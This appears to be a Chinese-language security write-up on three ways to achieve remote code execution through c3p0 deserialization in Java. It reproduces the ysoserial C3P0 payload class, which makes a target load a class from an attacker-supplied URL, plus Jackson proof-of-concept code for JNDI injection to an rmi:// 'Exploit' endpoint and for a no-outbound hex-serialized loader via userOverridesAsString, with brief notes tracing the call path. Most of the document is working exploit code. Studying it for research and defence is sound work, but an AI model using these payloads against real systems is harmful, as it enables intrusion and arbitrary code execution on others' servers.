c3p0有三种方式getshell
- http base
- jndi
- hex序列化字节加载器
http base适用于原生反序列化,后面两种适用于其他解组类型的反序列化。具体来讲,jndi适用于jdk8u191以下支持reference情况,hex序列化字节加载器适用于不出网但是目标依赖有gadget链的情况。
http base
c3p0 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| package ysoserial.payloads;
import java.io.PrintWriter; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger;
import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection;
import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections;
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" ) @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) @Authors({ Authors.MBECHLER }) public class C3P0 implements ObjectPayload<Object> { public Object getObject ( String command ) throws Exception { int sep = command.lastIndexOf(':'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); }
String url = command.substring(0, sep); String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); return b; }
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className; private String url;
public PoolSource ( String className, String url ) { this.className = className; this.url = url; }
public Reference getReference () throws NamingException { return new Reference("exploit", this.className, this.url); }
public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main ( final String[] args ) throws Exception { PayloadRunner.run(C3P0.class, args); }
}
|
connectionPoolDataSource是PoolSource,但是PoolSource没有实现序列化接口,所以会在PoolBackedDataSource时进入到catch块中。
catch块中调用indirector.indirectForm(this.connectionPoolDataSource)会把Referenceable类型放到ReferenceSerialized中并进行序列化。
在反序列化时,会调用ReferenceSerialized的getObject方法,向http base请求类
jndi 注入
PoolBackedDataSourceBase
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.*;
class Person { public Object object; }
public class TemplatePoc { public static void main(String[] args) throws IOException { String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}"; System.out.println(poc); ObjectMapper objectMapper = new ObjectMapper(); objectMapper.enableDefaultTyping(); objectMapper.readValue(poc, Person.class); }
public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; }
public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); }
}
|
hex序列化字节加载器
在一些非原生的反序列化(如jackson)的情况下,c3p0可以做到不出网利用。其原理是利用jackson的反序列化时调用userOverridesAsString的setter,在setter中运行过程中会把传入的以HexAsciiSerializedMap开头的字符串进行解码并触发原生反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import com.fasterxml.jackson.databind.ObjectMapper; import java.io.*;
class Person { public Object object; }
public class TemplatePoc { public static void main(String[] args) throws IOException {
InputStream in = new FileInputStream("/Users/cengsiqi/Desktop/test.ser"); byte[] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); String poc = "{\"object\":[\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",{\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ HexString + ";\"}]}";
System.out.println(poc); ObjectMapper objectMapper = new ObjectMapper(); objectMapper.enableDefaultTyping(); objectMapper.readValue(poc, Person.class); }
public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; }
public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); }
sb.append(sTemp.toUpperCase()); } return sb.toString(); }
}
|
简单跟踪一下,进入setter方法。
由parseUserOverridesAsString对字符串进行处理
提取HexAsciiSerializedMap之后的东西
最后由fromByteArray中的deserializeFromByteArray进行反序列化